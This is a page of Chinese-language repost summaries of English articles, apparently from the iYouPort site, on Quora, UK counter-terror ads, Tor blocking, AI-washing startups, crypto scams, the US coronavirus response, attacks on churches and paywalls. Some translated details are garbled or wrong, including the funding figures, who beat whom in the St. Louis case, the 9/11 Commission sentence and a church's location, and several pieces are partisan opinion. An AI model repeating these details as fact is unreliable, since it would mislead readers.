互联网档案馆是公共互联网的历史档案，Quora 要求选择性地修改档案的能力是荒谬的。就像他们暗示 API 可能会被滥用那样。

在成立近十年后，Quora 的长期前景仍然不明朗。他们在四轮融资中筹集了超过2.25亿美元的资金，最近一次是在2017年4月的 8500 万美元。

在某些时候，倾销了25亿美元的投资者肯定希望获得投资回报。去年，创始人 Adam D'Angelo 表示他们预计最终将进行首次公开募股。但是，市场条件与其广告平台的结果相结合，可能会迫使它们走向不同的方向，合并或收购始终都是可能的。

当 Quora 最终关闭的那天，所有这些收集到的知识都会丢失，除非他们改变自己的孤立。

Quora announced that 100 million user accounts were compromised, but this does seem like a good time to remind you of all the other reasons why you should never, ever use Quora. When Quora shuts down, and it will eventually shut down one day, all of that collected knowledge will be lost unless they change their isolationist ethos.

原文

买一把锤子就会能让你变成“恐怖分子” - iYouPort

其他

如果你因任何原因需要一把锤子，英国的反恐警察部队就会认为你是一个潜在的“恐怖分子”。 他们还明确要求群众斗群众：任何看到某人做出可疑事的人 — — 比如购买锤子，就立即向执法者报告。

根据英国反恐警察办公室发布的推文，购买锤子是可疑的并且可能是犯罪活动的指标。

「图」

「图」

英国还有一个滑稽的活动正在进行，试图说服年轻人不要带任何刀具。

需要一些刀具和一把锤子实际上可以有一个非常合乎逻辑且可能的解释。这个男人可能是一名厨师或者是个木工，但这个广告宣传活动的目的是他们实际上不希望你想到最可能的这种解释。他们希望你怀疑所有人，甚至害怕自己无法正常生活。完成可怕的“生活没有倒带按钮”的座右铭。

Reason 指出，整个视频广告实际上更加险恶，不是因为它根本不可思议，而是英国反恐警察要求你审查自己和他人的一切行为，不论是什么原因：包括把垃圾拿走这种简单的事。看视频：

他们[反恐警察]试图鼓励人们互相监视互相举报，导致人们最终互相举报无辜的活动。这些调查很可能会颠覆无辜者的整个生活。这个广告不仅是可以模仿的，而且是令人恐惧的。你应该警惕的是那些当权者和他们制造的警察国家，而不是身边的和你一样的老百姓。

Ifyou need a hammer for any reason, the United Kingdom’s counter-terrorism policing unit will consider you a potential terrorist. They

are also asking that anyone who sees someone doing something suspicious, like purchasing a hammer, to report it to the enforcers.

原文

二等公民 - iYouPort

其他

反封锁、反审查、保护隐私，这是每个网络公民的基本权利和责任，然而，如今行使这一权利的人却被沦为了网络二等公民，被歧视、行为受到限制。这是为什么？

「图」

「图」

反封锁、反审查、保护隐私，这是每个网络公民的基本权利和责任，然而，如今行使这一权利的人却被沦为了网络二等公民，他们被歧视、他们的行为受到限制。这是为什么？

根据最近一篇研究论文中公布的数据，大约130万个IP地址—— 包括谷歌，雅虎，Craigslist 和 Yelp—— 将 Tor 匿名网络的用户变为二等网络公民，直接阻止他们、或降低为他们提供的服务。

题为“匿名用户的差别待遇”的这份报告称，Alexa 中有 3.67% 的网站歧视使用已知 Tor 出口节点 IP 地址访问的计算机。在某些情况下，访问者完全被锁定，而在其他情况下，用户需要完成繁琐的人机验证、并且他们可以做的事受到限制。

报告作者说，这是由于网站试图“限制欺诈和其他类型的在线犯罪”，但是不成比例地影响了 Tor 用户。在这个过程中，那些遵纪守法的 Tor 用户被降级为二等公民。

作者写道：“虽然许多网站阻止 Tor 是为减少滥用行为，但是，这样做肯定会影响到那些没有其他方式访问被审查的互联网内容的国家用户。”

在许多情况下，降级的体验由内容传递网络自动执行，这有助于各个网站分发内容并阻止恶意用户。最著名的 CDN 之一 CloudFlare，为每个访问的 IP 地址分配声誉分数，如果分数太低，则需要用户完成

CAPTCHA，旨在证明他们是人类而非恶意脚本。

在支持页面上，CloudFlare 表示它没有专门针对 Tor 用户，但它继续说“由于某些人使用 Tor 网络的行为（垃圾邮件发送者、恶意软件分发者、攻击者等），Tor 出口节点的 IP 地址通常会声名狼籍。“ 该论文的研究结果引发了 Tor 倡导者和 CloudFlare 代表之间长期而且经常激烈的讨论。

与此同时，CloudFlare 竞争对手 Akamai 的网站经常用403错误阻止Tor用户。虽然谷歌和雅虎没有完全阻止Tor用户，但是使用Tor IP地址的访问者无法使用他们的某些页面或服务。

这份报告揭示了网站安全与获取信息和匿名之间的紧张关系，特别是那些具有苛刻的内容审查机制或密切监视公民网络浏览行为的压制性国家。

正如作者所说，“互联网上的匿名通信对于那些受到政府限制的网民来说至关重要，但是，匿名网络的效用受到互联网上阻止或降低匿名用户请求的服务的威胁。“

Some websites turning law-abiding Tor users into second-class citizens. Tor users blocked or faced with CAPTCHA if IP address matches known exit node.

原文

互联网革命的下半部分会是什么样 - iYouPort

其他

他们会改变它，它也会改变他们

「图」

「图」

2007年，史上第一次住在城市里的人比住在乡村的人更多。

互联网的发展已经快速抵达中点。

这个星球上有超过50%的人口现已上网，自从互联网在西方技术娴熟的人群中崛起后的仅仅四分之一个世纪，实现了普通人都可以使用。

互联网革命的后半部分已经开始。它正在改变社会的运作方式 ——并且也在创造一个新的商业难题。

大多数新用户都在新兴市场；仅在过去三年内就有约7.26亿人上网。

中国仍在快速增长。但对于整个互联网来说大部分的增长都来自较贫穷的地方，尤其是印度和非洲。

富裕国家的公共语话不仅有为假新闻和 trolling 的焦虑，许多观察家也开始担心政治贬值，从印度选民的两极分化到缅甸罗兴亚少数民族遭受的迫害。这些都是互联网带来的。

从积极的方面来看，慈善机构和援助工作者一直在无休止地谈论智能手机如何让农民更方便检查作物价格、让村民报名参加在线教育、并帮助医生提高疫苗接种率。

不太讨喜的一点是，互联网革命的下半部分和上半部分的主要吸引力相同。

社交和游戏，而不是工作和自我提升，才是吸引力；色情很受欢迎。

消息应用程序可以帮助朋友间保持联系，让移民工人可以方便地对留在家里的孩子说晚安。

人们在社交媒体上消遣他们的朋友和陌生人，在 YouTube 或 TikTok 上使用古怪的自制视频。

便宜的数据计划和拇指驱动器将盗版电影带给数百万可能从未去过电影院的人。

约会应用程序比农业建议更受欢迎；电子游戏比任何一种东西都更受欢迎。

这些福利不太可能进入许多联合国发展报告。但它们可以促进人类幸福的存量。

对于企业而言，互联网革命的下半部分提供了大量的客户。

但是，这也让人头疼 —— 这些新用户中的大多数都太穷了，不可能花很多钱。

数十亿美元的风险投资资金已流入新兴市场（不包括中国）的互联网创业公司。

硅谷巨头建立了庞大的用户群 —— 超过**15**亿 **Facebook** 用户在发展中国家。

谷歌拥有的视频网站 YouTube 越来越多地受到非西方用户的支配。

沃尔玛去年斥资160亿美元收购了印度电子商务巨头 Flipkart。

Jumia 是一家电子商务公司，在尼日利亚和其他13个非洲国家拥有400万客户，于4月份在纽约上市。

尽管这些公司的估值很高，但他们仍在寻找可持续的商业模式。

Reliance Jio 是一家印度公司，已投入370亿美元用于建设高速移动网络并收获了大部分贫困用户。

亚洲的每个 **Facebook** 用户每年仅产生**11**美元的广告收入，而北美的用户则产生**112**美元。

新兴市场（不包括中国）的所有互联网公司的总收入可能是每年1000

亿美元。这个数字与康卡斯特差不多，康卡斯特是美国排名第31大的上市公司。

尽管如此，这些公司对业务的影响将在两个方面变得更大。

首先，它们将快速增长—尽管是否足够快以证明其估值合理仍有待观察。

为了最大限度地提高自己的机会，许多人不仅提供单一服务（如搜索或视频），并且还在一个应用程序中提供一系列服务，以期从每个用户身上赚更多钱。

这种方法是阿里巴巴和腾讯在中国率先推出的。印度尼西亚的 Go-Jek 紧跟其后，提供乘车、付款、药物处方和按摩服务的综合。

Facebook 正在通过其聊天服务 WhatsApp 推动印度的数字支付系统。（不仅如此，Facebook 正在尝试消费微信，见这里）

其次，在新兴市场中成熟企业可能比富裕国家的现有企业更快地被打乱。他们拥有较少的基础设施，如仓库和零售网点。

许多人，尤其是大城市以外的人，完全无法获得他们的服务。

啤酒、洗发水和其他消费品公司很快会发现，随着营销变得数字化，新的反叛品牌会更快地获得牵引力。

银行要被迫迅速适应数字支付否则会死亡。

从这个角度来看，巨额资金濒临危险—中国境外新兴市场现有公司的总市值为8万亿美元。

如果你认为互联网革命的前半部分是破坏性的，那就等到看第二幕吧。〇

The second half of humanity is joining the internet

原文

人工不智能 - iYouPort

其他

人工智能是当今技术中被滥用程度最高的术语之一，一项新的研究证实了该技术的炒作方式。想想看，中国究竟有多少这类假货？

人工智能是当今技术中被滥用程度最高的术语之一，一项新的研究显然证实了该技术的炒作方式。

根据伦敦风险投资公司 MMC 的调查，40% 被归类为人工智能公司的欧洲创业公司实际上并未以对其业务“重要”的部分使用人工智能。MMC 在13个欧盟国家研究了大约2,830个人工智能创业公司，以便对每个公司的“活动、重点和资金”进行审查。

“在40%的案例中我们都没有发现人工智能的证据，”编制该报告的 MMC 研究负责人 David Kelnar 告诉福布斯新闻。 Kelnar 说，这意味着“人们认为和思考的公司可能不是AI公司。”

正如福布斯所指出的那样，这些创业公司是“人工智能公司”的说法并不一定来自公司本身。第三方分析站点通常负责这种分类，并且从 MMC 的报告中不清楚它确定的假冒 AI 初创公司中在多大程度上积极误导了客户。

但该报告的调查结果显示，如果被错误分类，公司就会有明显的激励措施。“人工智能”一词显然是对投资者的触动，**MMC** 发现声称**AI**的创业公司比其他公司多吸引了**15**%到**50**%的资金。

正如 Kelnar 对福布斯所说的那样：“我认为在大多数情况下[初创公司]都会意识到他们是如何被归类的。”他们只是不在乎纠正这些记录。

MMC 的报告发现，当公司部署人工智能和机器学习时，用例通常非常平庸。初创公司调查使用AI的一些最流行的方式包括聊天机器人（26%的公司）和欺诈检测（21%）。

在这两种情况下，判断这项技术对客户有多大帮助是很棘手的。聊天机器人通常很烦人，可以只是消除人力客户支持的成本。虽然欺诈检测对客户和企业来说无疑是有用的，但它更像是辅助服务而非中心卖点。

但是，正如我们从人工智能牙刷这样的小工具的扩散中学到的，仅仅是因为某些东西说它是人工智能，并不意味着它重要。人工智能是一个术语，涵盖了广泛的技术，显然，其中包含了大量的炒作。

想想看，中国究竟有多少这类假货？

Forty percent of ‘AI startups’ in Europe don’t actually use AI, claims report. Companies want to take advantage of the AI hype

原文

你是中产阶级吗？ - iYouPort

其他

你可能觉得自己是中产阶级。但是根据皮尤研究中心的最新研究结果，这并不一定意味着你认为的就是对的。正如 HowMuch.net解释的那样，事实证明，家庭规模是底层、中层和上层阶级地位的主要决定因素。

我们将家庭规模与下层、中层和上层阶级所需的收入范围进行了对比，让您可以轻松了解需要多少钱才能处于某一个阶层。事实上，你的家庭规模与维持生存所需的收入直接相关。

「图」

「图」

对于没有孩子的单身成年务工者来说，事情相对简单。收入低于34,400 美元的人被认为低阶层的，任何超过 103,200 美元的人都属于中产阶级。实际上，这很大程度上取决于你的居住地以及你还清的债务。那些拥有六位数收入但却住在一个欠下10万美元学贷债务的大城市的大学毕业生是否觉得自己是中产？一个单身成年人在西弗吉尼亚州赚了90,000美元，但那里的生活成本便宜吗？这不符合“高收入”的条件吗？所以这一切都取决于你生活在哪里。

无论如何，数据的可视化表明，为您的家庭增加更多的人将会增加您享受相同生活标准所需的金额。

生孩子或结婚会提高进入中产阶级的门槛，达到$ 43,493。对于一个3口之家来说会增加到50,697美元。对于两个养家糊口的人和一对子女来说，水平甚至更高达到 60,499 美元。换句话说，拥有第二个孩子意味着你需要多赚10000美元才能保持在同一水平，更不用说爬得更高了。

同样的事也发生在收入范围的另一端。家庭人口越多，中等收入和高收入家庭之间的差距就越大。在较高收入阶层的底线 103,200 美元的单身成年人需要维持两人之家才能保持在同一水平上。 3口之家的金

额再增加 21,000 美元，达到 152,092 美元，4口之家的金额高至 181,496 美元。这意味着富裕的人们在养更多孩子方面压力更大，很难保证继续处于同一阶层，因为太贵了。

总之，如果你处于较高收入范围内，而你和配偶决定再生一个孩子，那么你就很难继续保持在同一个阶层内。 生活费用完全取决于你的居住地，这里有一个计算器，您可以自己衡量一下。

Are You In The Middle Class? You probably think u are, according to new research from the Pew Research Center, but that doesn't necessarily mean you're right. it turns out household size is a major determiner of status in the lower, middle and upper classes.

原文

关于“1984”的几件事你可能还不知道 - iYouPort

其他

最讽刺的是，一本反对极权主义的警告在很多国家都成为了审查的重点目标

「图」

「图」

乔治奥威尔的小说1984在出版时就非常受欢迎，至今仍然非常受欢迎。这本书在 2017 年初重新出现在畅销书排行榜上，因为越来越多的人认为奥威尔的反乌托邦愿景终于到来了。

以下是关于这本书的九件事，您应该知道：

1、在写这本书之前，奥威尔曾在第二次世界大战期间为英国政府工作，担任 BBC 的宣传员。（或许由于近距离接触宣传产业，引起了他在1984中塑造的批评性肖像）

2、奥威尔最初将这部小说命名为1980，然后是1982年，最后在出版之前才确定为1984。此外，他还考虑过标题“最后一个欧洲人”。

3、在写小说的同时，奥威尔一直在与结核病作斗争。这一疾病最终杀死了他，他在1984出版的七个月后去世，结核病是致命的。

4、具有讽刺意味的是，奥威尔本人在撰写关于政府监视的小说同时，他自己就受到了政府的监视。英国政府一直在监视着奥威尔，因为他们认为他持有社会主义观点。这一监视是在他出版了《通往维根码头之路》之后开始的，这是一部关于贫困的英国下层阶级的真实故事。

5、口号“2 + 2 = 5”起源于俄国，共产党政权将其作为各种方面的座右铭，以帮助他们在短短四年内实现了五年计划的目标。虽然这个口

号仍在今天被用来指出极权主义洗脑的弊端，但它并不是奥威尔所创造的。

6、除了借用了这一部分俄罗斯的宣传品外，奥威尔还为他的小说引入了一些日本的政治宣传。“思想警察”是以日本战时秘密警察为基础的，他们因“不爱国的思想”而逮捕日本公民。他们的正式名称是Kempeitai，他们也公开将他们的工作命名为“思想战”。

7、当奥威尔担任BBC的宣传员时，那里就有一个编号为101的会议室，最后在他的书中出现。

8、根据奥威尔的朋友和家人的说法，他的第二任妻子索尼娅·布朗内尔（Sonia Brownell）就是这本书的主要人物温斯顿史密斯（Winston Smith）的原型。

9、虽然他的书可能很受欢迎，但奥威尔的小说也被列入了世界十大最普遍被禁书之一。有些国家因指其支持共产主义而禁止它，而其他国家则因认为它反共产主义而禁止它。无论如何，具有讽刺意味的是，一本反对极权主义的警告在很多国家都成为审查的重点目标。

9 Things You Never Knew About Orwell’s 1984 Orwell himself was under government surveillance while writing his novel warning about government surveillance … Regardless, it is ironic that a book warning against totalitarianism is often an item for censorship.

原文

冠状病毒的情报始于去年9月？ - iYouPort

其他

我们对此文章后半部分的评议不感兴趣。翻译它是为了保存一个时间线索

「图」

「图」

WASHINGTON, DC – DECEMBER 04: (AFP OUT) Former first lady Laura Bush and former President George W. Bush greet President Donald Trump and first lady Melania Trump outside of Blair House December 04, 2018 in Washington, DC. The Trumps were paying a condolence visit to the Bush family who are in Washington for former President George H.W. Bush’s state funeral and related honors. (Photo by Chip Somodevilla/Getty Images)

FP认为冠状病毒是最大的情报失败 —— 比珍珠港和9/11更严重 ……以下是FP的文章。

去年9月，我在华盛顿与一家财富百强公司的风险副总裁会面。这位高管曾经有很长的情报分析师职业经历，我问他的是所有记者遇到这样的人时都会问的问题：“你最担心的是什么？”

他回答说：“一种高度传染性的病毒，始于中国某处并迅速传播。”

这家高管所在的公司在整个东亚设有办事处，他解释了公司随后采取的预防性缓解措施，以应对这一潜在的威胁。

自从新型冠状病毒席卷全球以来，我经常想到此人的先验风险计算。

大多数领导者都缺乏进行基于风险的例行视野扫描的纪律，并且几乎很少有人能制定必要的应急计划。更有远见的领导者应该可以提前正确地识别出最大的威胁，从而抢先一步制定和实施防御计划。

可以说，特朗普政府在认真对待针对冠状病毒爆发的特定的、反复的情报界警告以及大力推行与预期威胁相称的全国响应计划方面，都失败了。

仅联邦政府就完全有资源和权力来领导公共和私人利益相关者应对病毒造成的可预见的危害。

不幸的是，特朗普政府官员做出了一系列的判断（最大限度地降低了COVID-19 的危害）和决定（拒绝采取必要的紧急行动），这些错误不必要地使美国人的安全性大大降低。

简而言之，特朗普政府对美国人民施加了灾难性的战略突袭。

但是，与以往不同（珍珠港、1979年的伊朗革命、尤其是9/11），当前的变革是前所未有的冷漠甚至故意的疏忽造成的。

例如 9/11调查委员会报告指责基地组织通过乔治·W·布什袭击罗纳德·里根总统的政府，而日益严重的冠状病毒危机则是现任白宫的唯一责任。

9/11委员会报告的第8章标题为 “系统已经亮起红灯”。引述来自中央情报局前局长 George Tenet，2001年夏天当时情报界的多种报道流表明美国境内即将发生航空恐怖袭击。

尽管一些反恐官员发出了警告并做出了努力，但9/11委员会仍然认为：“几乎没有证据表明该阴谋的进展受到任何政府行动的干扰。 ……时间不多了。”

《华盛顿邮报》报道了情报界在一月和二月持续向白宫提供的有关冠状病毒的警告。

但这些警报对高级政府官员影响不大，毫无疑问，反而是特朗普政府从1月22日开始对这种病毒的不断嘲笑影响了他们：“我们已经完全控制了它。这是一个从中国来的东西，我们可以很好地控制住它。”

到目前为止，对特朗普的领导风格有三点痛苦且显而易见的发现，可以解释美国人现在所面临的日益严重的冠状病毒大流行是为什么。

首先，有一个事实就是，一旦他绝对相信任何东西 —— 无论是多么糟糕的想法、信息不灵通还是不准确，他都会完全依赖于最初的印象或判断。

领导者异常狂暴，过分自信。对于许多人来说，他们已经提高了权力水平这一事实证明了他们内在的智慧。但是，真正明智的领导人应该会真诚地征求反馈和批评，他们应该是积极开放的思想家，并且能够及时变通。众所周知，特朗普缺乏这些能力。

其次，特朗普的判断具有很高的传播性，几乎感染了每位官员或顾问的思想和行为。而且他的不准确和糟糕的评论也具有非凡的能力，可以被军事、情报和商业领袖重新利用。

而且，如果有人没能以足够的力度持续模仿总统的声明，他们就会被解雇，或者泄漏出消息说他们随时可能被解雇，最值得注意的是最近关于特朗普对过敏和传染病研究所所长 Anthony Fauci 不耐烦的报道。

第三，糟糕的判断很快就污染了联邦政府的所有决策部门，几乎没有抵抗力，甚至没有合理的质疑。

通常，联邦机构由白宫认为最有能力执行政策的官员领导。这些官员通常享有一定程度的自治权，不在特朗普的管制之下。甚至从历史上看，无党派的国家安全部门或情报机构的领导职位也被思想上与白宫保持一致的人占据，而不是拥有推倒或解决非政治性员工提出的担忧所需的经验或专业知识。

因此，特朗普最初的错误假设或声明会融入日常的政策实施中。

邮报的同一篇报道还引述了一位匿名美国官员的惊人讲话："唐纳德特朗普可能没想到这一点，但政府中的许多其他人都应该想到 —— 他们根本无法让他对此做任何事。系统已经亮起红灯"。

鉴于特朗普很早就得出结论，冠状病毒根本不可能对美国构成威胁，而情报机构、采用流行病学模型的医学专家或公共卫生官员本可以告诉白宫以指出特朗普的错误，结果或许会有所不同。

众所周知，前国家安全顾问 Henry Kissinger 曾说过，情报机构的警告未能得到人们的认可："你警告过我，但没有说服我。"然而，特朗普政府完全与相左的观点隔绝，即便是对的，也无法被说服。

在冠状病毒爆发的初期，白宫的缺乏热情将是任何现代总统任期中代价最高的决定之一。已经向这些官员发出的清晰的警告和关键决策要点，已经提前了足够多的时间，这个国家本来可以做得更好。

但是，永远不要忘记他们浪费远见和时间的方式，也不要忘记他们浪

费的原因：特朗普最初是错的，所以他的核心圈子在很长一段时间内，甚至直到现在，都在用夸张的言辞和不适当的政策来促进这种错误。美国人现在将付出数十年的代价。〇

《The Coronavirus Is the Worst Intelligence Failure in U.S. History》Micah Zenko is the co-author of *Clear and Present Safety: The World Has Never Been Better and Why That Matters to Americans*.

原文

别打了，自己人！ - iYouPort

其他

圣路易斯警察局长 Jason Stockley 曾经杀死了一名叫 Anthony Lamar Smith 的手无寸铁的黑人，用的是一支未经授权的 AK-47。在 2017 年他受到谋杀指控，但又被无罪释放。

之后，暴力继续。Stockley 在那天晚上抓住了一名黑人抗议者，把他扔到地上，然后拳打脚踢……

然而，这名黑人实际上是一名卧底警察，已经工作22年了。被殴打后重伤住院，无法进食，最终减掉了 20 磅; 他因为受伤而接受手术，但由于仍然严重残疾而无法重返工作岗位。

现在，所有参与殴打的三名警官（以及另一名警察，Bailey Colletta）都被大陪审团起诉。起诉书称，这些人员销毁证据并向调查人员撒谎。当地警察联盟辩称，“我们不应该匆匆对这三名殴打黑人警察的白人警察要求正义”，因为那将在“他们上法庭”之前将他们定罪……这是明确的狡辩。

“这个警察被他自己的三个同事殴打了。他们故意出去伤害那些顺从而不抵抗的人，也许这就是这个国家、这个城市和这个地区所需要的。我们没有能充分地要求警察为他们的暴力行为承担责任“。

StLouis cops indicted for beating up a “protester” who turned out to be an undercover cop: “Maybe this police officer getting beat up by three of his own, who deliberately went out to hurt someone who was compliant and not resisting, maybe this is what is needed in this country and this city and this region to finally say, ‘We have not gone far enough to hold police accountable’ ” .

原文

加密货币骗局是如何操作的？ - iYouPort

其他

毫无戒心的投资者如何加密货币欺诈者所吸引？

「图」

「图」

成千上万的加密货币投资者的钱被骗走了。到2018年，与加密货币有关的犯罪造成的损失已经高达17亿美元。犯罪分子使用老式策略和新技术的结合实施欺诈。

通过研究区块链、加密货币和网络犯罪，可以看出一些加密货币欺诈者依靠的是久经考验的庞氏骗局，利用新参与者的收入向早期投资者支付回报。

其他人则使用高度自动化和复杂的流程，包括与 Telegram 交互的自动化软件，Telegram 是一种基于互联网的即时消息传递系统，在对加密货币感兴趣的人群中很受欢迎。

即使加密货币计划合法，欺诈者仍然可以在市场上操纵其价格。

但是，一个更基本的问题是：毫无戒心的投资者如何加密货币欺诈者所吸引？

口若悬河的骗子

一些加密货币欺诈者勾引人们的贪婪，并承诺获得丰厚的回报。例如，一群不知名的企业家在运行诈骗机器人 iCenter，这是针对比特币和莱特币的庞氏骗局。

它并没有提供投资策略的信息，但不知何故承诺投资者每日回报率为1.2%。

iCenter 骗局通过 Telegram 上的群聊进行操作，它始于一小群骗子，

加入的人会获得一个推荐码，通过与他人分享，在博客和社交媒体上，让更多人加入聊天。

新进群的人开始受到群内骗子的蛊惑。一些新人决定投资，这时候骗子要求他们将比特币存入一个独立的钱包，并放置99天或120天 ，就可以获得高额的回报。

在此期间，新进入的投资者经常使用社交媒体与朋友和联系人分享他们自己的推荐码，让更多人参与群聊和投资计划。

这些资金在任何合法业务中都没有实际投资。相反，当新人加入时，招募他们的人获得新资金的一定比例，并且循环继续，新进投资者的资金将有一部分分配给早期参与者作为分红。

一些成员特别努力地筹集新资金，发布教程视频和他们自己持有大量资金的图片作为加入骗局的诱惑。

不断编造的谎言

一些诈骗者会直接欺骗，加密货币社区最知名的庞氏骗局 OneCoin 的创始人通过说服人们投资根本不存在的加密货币成功骗走了投资者38亿美元 。

其他骗局的基础是用行话或专业知识声称给潜在的受害者留下深刻印象。“全球贸易” 诈骗者声称他们利用各种加密货币交易所的价格差异从所谓的套利中获利，简单地以低价购买并以更高的价格出售。他们真的能通过这种方式骗走投资者的钱。

“全球贸易” 也使用了 Telegram 上的机器人，投资者可以发送余额查询消息并获得有关其账户中余额的虚假回复，有时甚至会看到余额在一小时内上涨1%。

回报看起来很像是那么回事，谁还能责怪人们在社交媒体上与朋友和家人分享这些骗局计划呢？

剥削朋友和家人

一旦计划启动，至少在一段时间内它就会通过社交媒体保持活跃。一个人被加密货币投资的巨大回报承诺所吸引，就很可能会将这个骗局传播给朋友和家人。

有时候知名 KOL 参与其中也会让骗局看起来更可信，例如，GainBitcoin 背后的主要人物就能够做到令一些宝莱坞名人为他们背书。

他甚至试图让自己成为一个名人，宣称自己是 “加密货币大师”。因为他领导的投资成本在7.69亿美元到20亿美元之间。

并非所有名人都知道自己已经被参与其中了。在一篇博客文章中，iCenter 推出了一个视频，据称是 Dwayne “The Rock” Johnson 的代言，手持一个标有 iCenter 标志的牌子。Justin Timberlake 和 Christopher Walken 的视频被欺骗性地编辑成了他们赞扬 iCenter。

欺诈性的初始代币产品

另一种流行的诈骗技术被称为 “初始代币发行”。一个潜在合法的投资机会，一个初始代币提供本质上是一个初创加密货币公司通过用户筹集资金的方式：换取像比特币和以太币这样的活跃加密货币，向客户承诺未来代币上线的高额回报。

许多最初的代币产品已被证明是骗局，组织者利用狡猾的话术，甚至租用假办公室和制造得看上去很好的营销材料。

2017年，关于加密货币的大量炒作和媒体报道引发了大量初始代币欺诈行为。

在2018年，大约1,000个最初的代币项目崩溃，支持者至少在这上面损失了1亿美元。其中许多项目没有任何创意 ，超过15%的项目仅仅是从其他加密货币抄袭代码及概念。

寻求新技术领域的投资者仍然对区块链和加密货币感兴趣，但应该注意它们是复杂的投资产品，即使对于销售它们的人来说也是新的。新投资者甚至相关专家都成了骗局的牺牲品。

在当前的加密货币市场这样的环境中，潜在的投资者应该非常小心地研究自己投入的资金，并确保找出谁参与其中以及实际赚钱的计划是什么。〇

How cryptocurrency scams work

原文

发泄的首选和选择性忽略 - iYouPort

其他

- 斯里兰卡的爆炸事件再次成为全世界针对基督徒暴力升级的焦点。然而这种情况已经出现了普遍性的趋势……为什么主流媒体不关心这一可怕的趋势？

据 Open Doors USA 报道，每月平均有 **105**座教堂和/或基督教建筑被烧毁或袭击。每天超过三次袭击，然而，最令人困惑的是，几乎所有这些攻击都被西方主流媒体所忽视。

此外， 每个月平均有 **345**名基督徒因信仰原因被杀害。当然，这些数字很快就会过时，因为针对基督徒的暴力行为继续在全球范围内升级，而人们在斯里兰卡目睹的恐怖袭击只是其中一个例子。

在斯里兰卡针对三个城市的基督教教堂和酒店发生的一系列八次爆炸事件中、造成至少*207*人丧生，并在复活节的礼拜日造成多达*450*人受伤。国防部长 *Ruwan Wijewardene* 将协调爆炸称为“宗教极端分子的恐怖袭击”。

紧接着火灾几乎摧毁了巴黎圣母院。当局仍在试图确定火灾的原因，但我们确实知道，自**2**月初以来，许多其他教会在法国都受到了破坏者和纵火犯的袭击 **……**

破坏者和纵火犯已经针对法国教会进行了长达近两个月的攻击。自***2***月初以来，已有***10***多座教堂遭到袭击，其中一些已经着火，而其他教堂则遭到严重亵渎或破坏。

显然是为了复制在巴黎圣母院发生的事，一位疯狂的哲学教授被抓到将燃气罐和打火机带到了纽约的圣帕特里克大教堂 ……

37岁的 Marc Lamparello 于周三晚被捕，并被指控纵火和鲁莽危害。在曼哈顿第五大道大教堂的一名保安看到他之后，他被拘留了。

幸运的是，在这次的情况下避免了一场大悲剧，但世界上大多数教堂都是非常“脆弱的目标”，绝对没有任何安全保障。

而现在，几乎没有任何地方是安全的。对教堂的攻击正在全球范围内发生，有时袭击恰好发生在礼拜仪式上。

例如，以下是菲律宾最近成为全球头条新闻的一个例子……

两名自杀式袭击者在菲律宾南部穆斯林主要岛屿霍洛岛的罗马天主教大教堂举行的弥撒仪式中引爆了两枚炸弹，炸死23人，炸伤约100人。

今年早些时候在印度，一群基督徒在前往朝拜时感到非常震惊，他们发现他们的教堂被完全烧毁了……

基督徒惊恐地看到印度特伦甘纳邦的五旬节教会完全被黑烟吞没。教堂内部的大部分设施，包括家具、讲坛、音响系统、风扇、地毯和灯，在2月2日上午11点左右的袭击中被烧成了灰烬。对教堂的毁灭性袭击摧毁的是200名信徒的家园，这使得基督徒不得不离开了十个没有礼拜场所的村庄。

在很大程度上，教堂是仇恨攻击的头号目标，而且这一趋势只会变得更糟。

可悲的是，美国的教堂也越来越受到攻击。你可能没有在新闻中听说过，那只是因为主流媒体不关心，但事实上路易斯安那州的三座教堂最近被纵火摧毁了……

Monica Harris 的大部分身份都与大联盟浸信会（*Greater Union Baptist Church*）有关，这是一个拥有129年历史的庇护所，她家几代人一直都在这里。小时候，她在这里接受洗礼，然后穿着白色连衣裙和白色漆皮鞋像公主一样穿过过道参与游行。她在这间教堂结婚，也在那里为父母送终。

因此，当她盯着教堂被烧焦的遗骸时，她觉得自己身体的一部分失去了，这里是美国路易斯安那州圣兰德里教区三个以黑人为主的教堂之一，执法部门说这些教堂被点燃并被摧毁，持续了10天。

在之前的文章中，我认为从现在开始，所有教会都需要武装安防。世界已经发生了变化，我们需要随之改变。

在我长大的过程中我从没想过有人可能会闯进教堂并开始射击，但在过去的几十年里，我们已经看到这样的场景多次出现。以下是自哥伦

拜恩以来发生的"致命教堂枪击事件"清单……

- 1999 Wedgewood Baptist Church in Fort Worth, Texas
- 2001 Greater Oak Missionary Baptist Church in Hopkinsville, Kentucky
- 2002 Our Lady of Peace Catholic Church in Lynbrook, New York
- 2003 Turner Monumental AME Church in Kirkwood, Georgia
- 2005 Living Church of God in Brookfield, Wisconsin
- 2005 World Changers Church in College Park, Georgia
- 2006 Zion Hope Missionary Baptist in Detroit, Michigan
- 2006 Ministry of Jesus Christ Church in Baton Rouge, Louisiana
- 2007 First Presbyterian Church in Moscow, Idaho
- 2007 First Congregational Church in Neosho, Missouri
- 2007 New Life Church in Colorado Springs, Colorado
- 2008 First Baptist Church in Maryville, Illinois
- 2009 Reformation Lutheran Church in Wichita, Kansas
- 2012 World Changers Church in College Park, Georgia
- 2015 Emanuel AME Church in Charleston, South Carolina
- 2017 Burnette Chapel Church of Christ in Antioch, Tennessee
- 2017 First Baptist Church in Sutherland Springs, Texas
- 2017 St. Alphonsus Church in Fresno, Texas

对基督教的迫害在全世界都在上升，未来几年可能会大大加剧。

但当然，大多数时候主流媒体都试图尽可能地忽视这种增长趋势。只是人们在斯里兰卡见证了大量死亡的大规模袭击时他们报道了这个故事，但除此之外，他们非常努力地避免任何会让基督徒处于同情之中的故事。

主流媒体可以忽视他们想要忽视的一切，但这并没有改变这个世界对基督教信仰的仇恨正在增长的事实，而我们最近几周目睹的只是这一大趋势的开始。

CHURCHES HAVE BECOME THE #1 TARGET FOR HATE ATTACKS – AN AVERAGE OF 105 EVERY SINGLE MONTH

原文

地狱般的付费墙：免费、开放和民主化的 Web 时代已成往事了吗？ - iYouPort

其他

订阅可以是一个很好的工具，但似乎每个人都做错了。如果你想要摆脱网络广告的镣铐，就必须彻底转变你的想法

「图」

「图」

又一个付费墙出现了。这次是彭博社，它宣布将为其新闻服务和电视频道（除 TicToc 与 Twitter 的媒体合作伙伴关系之外）全面增加付费墙。付费墙本身没啥奇怪的，但令人惊讶的是它的价格：标准订购费用为每月 35 美元，或每月40美元，包括访问“商业周刊”的在线版和印刷版。

人们说，牛油果吐司也很贵（这句话来自人口学家的一句玩笑 — — 他说如果年轻人不把钱浪费在去时髦咖啡馆买牛油果吐司上，就能更好地存钱买房了。但现在的状况是，如果年轻人想读一些新闻也会令他们买不起房子）

